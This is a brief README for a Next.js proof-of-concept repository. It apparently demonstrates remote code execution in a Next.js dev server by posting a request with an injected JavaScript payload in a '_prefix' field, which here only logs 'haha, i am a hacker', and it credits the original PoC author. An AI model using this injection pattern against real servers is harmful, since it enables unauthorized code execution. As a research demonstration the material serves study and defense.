This is a Next.js project bootstrapped with create-next-app.
To run the exploit demonstration:
- Start the development server in dev mode:
npm run dev- Install form-data dependency (if not already installed):
npm install form-data- Run the exploit script:
node script.js- Open the Next terminal to see:
haha, im a hacker
POST / 200 in 98ms- Edit the
_prefixinscript.jsto change the executed script:
'_prefix':'console.log("haha, i am a hacker")//',Credits to LachLan for the PoC script.